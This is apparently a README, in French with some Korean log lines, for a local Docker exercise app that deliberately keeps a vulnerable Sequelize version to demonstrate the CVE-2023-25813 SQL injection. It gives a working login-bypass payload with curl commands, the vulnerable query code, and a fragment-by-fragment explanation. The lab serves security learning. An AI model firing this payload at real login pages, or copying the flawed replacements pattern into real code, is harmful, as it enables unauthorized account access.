
Implémentation de vulnérabilité d'injection SQL Sequelize
Ceci est une application d'exercice Express + MySQL pour vérifier localement le fonctionnement de la CVE-2023-25813 de Sequelize.
Ce projet conserve intentionnellement une version vulnérable de Sequelize et un modèle de requête de connexion vulnérable. Ne l'exposez pas sur Internet, exécutez-le uniquement dans un environnement d'exercice Docker local.
localhost:3307localhost:3000Fonctionnalités principales :
Utilisez le fichier .env. Référez-vous à .env.example pour un exemple.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Lors de l'exécution avec Docker, le conteneur de l'application utilise le service db dans Compose, et non un MySQL local.
Du point de vue du conteneur de l'application : DB_HOST=db
Du point de vue du PC hôte : port d'accès DB = 3307
Allumez Docker Desktop, puis exécutez dans PowerShell.
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Accédez via le navigateur.
http://localhost:3000
Vérification du statut :
docker compose ps
docker compose logs app --tail 50
Arrêt :
docker compose down
Réinitialisation complète (y compris les données DB) :
docker compose down -v
Pour accéder directement à MySQL dans Docker :
docker compose exec db mysql -uroot -p cve_test_db
Le mot de passe est la valeur de DB_PASSWORD dans .env.
Avec un outil GUI comme Workbench, connectez-vous avec les valeurs ci-dessous :
Hôte : 127.0.0.1
Port : 3307
Utilisateur : root
Mot de passe : la valeur de DB_PASSWORD dans .env
Base de données : cve_test_db
Si la DB est créée, les messages suivants apparaissent dans les logs de l'application :
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
Au démarrage de l'application, le compte admin est créé automatiquement avec les valeurs de .env.
Valeurs par défaut :
Identifiant : admin
Mot de passe : admin
Après connexion, le compte actuel s'affiche en haut de la page principale.
Compte actuel : admin
Depuis le navigateur, allez sur /login puis :
Identifiant : admin
Mot de passe : admin
En cas de succès, vous êtes redirigé vers / et le compte actuel apparaît sur la page principale.
Pour vérifier avec curl :
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Critère de succès :
HTTP/1.1 302 Found
Location: /
Depuis le navigateur, allez sur /login puis saisissez les valeurs suivantes :
Identifiant : /**/OR/**/1=1)/**/#
Mot de passe : :username
En cas de succès, vous serez redirigé vers / et non vers /login?error=invalid. Le compte actuel sur la page principale affichera l'utilisateur connecté.
Vérification avec curl :
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Critère de succès :
HTTP/1.1 302 Found
Location: /
Le code vulnérable se trouve dans la route de connexion.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
Pour une connexion normale, la SQL ressemblerait à ceci :
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
Le problème vient du mélange de literal('username = :username'), { password } et replacements dans la même requête. Dans Sequelize 6.19.0, replacements s'applique à l'ensemble de la requête, ce qui permet de substituer :username même à l'intérieur de la valeur password saisie par l'utilisateur.
Le payload d'exercice est saisi comme ceci :
username = /**/OR/**/1=1)/**/#
password = :username
La requête réelle dans les logs ressemblera à ceci :
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Signification de chaque fragment :
password=:username : C'est l'élément clé qui permet que la substitution de username se produise également dans le champ mot de passe./**/ : Un bloc traité comme un commentaire en MySQL. Il agit comme un espace, donc même si les espaces autour de OR sont supprimés, les jetons SQL restent séparés.OR 1=1 : Ajoute une condition toujours vraie.) : Ferme le groupe de conditions AND(...) créé par Sequelize.# : Commentaire sur une ligne en MySQL. Il commente les guillemets restants et les fragments autour de LIMIT 1, évitant ainsi les erreurs de syntaxe.En conséquence, la condition est toujours vraie, la première ligne d'utilisateur est récupérée, et l'application traite la connexion comme réussie.
Les payloads qui dépendent d'espaces, comme celui ci-dessous, peuvent échouer si les espaces avant/après sont supprimés lors de la saisie dans le navigateur.
OR 1=1) --
Le commentaire -- de MySQL nécessite un espace après. Si l'espace manque, il n'est pas reconnu comme commentaire et provoque une erreur de syntaxe.
Ce projet recommande le payload suivant :
Identifiant : /**/OR/**/1=1)/**/#
Mot de passe : :username
Lors de l'exécution avec Docker, la DB est créée dans le conteneur db de Docker, pas sur le serveur MySQL local. Pour la voir depuis le PC hôte, connectez-vous à localhost:3307.
C'est normal. Cette application conserve une version vulnérable de Sequelize pour l'exercice CVE.
Exécuter npm audit fix pourrait supprimer la vulnérabilité ciblée par l'exercice.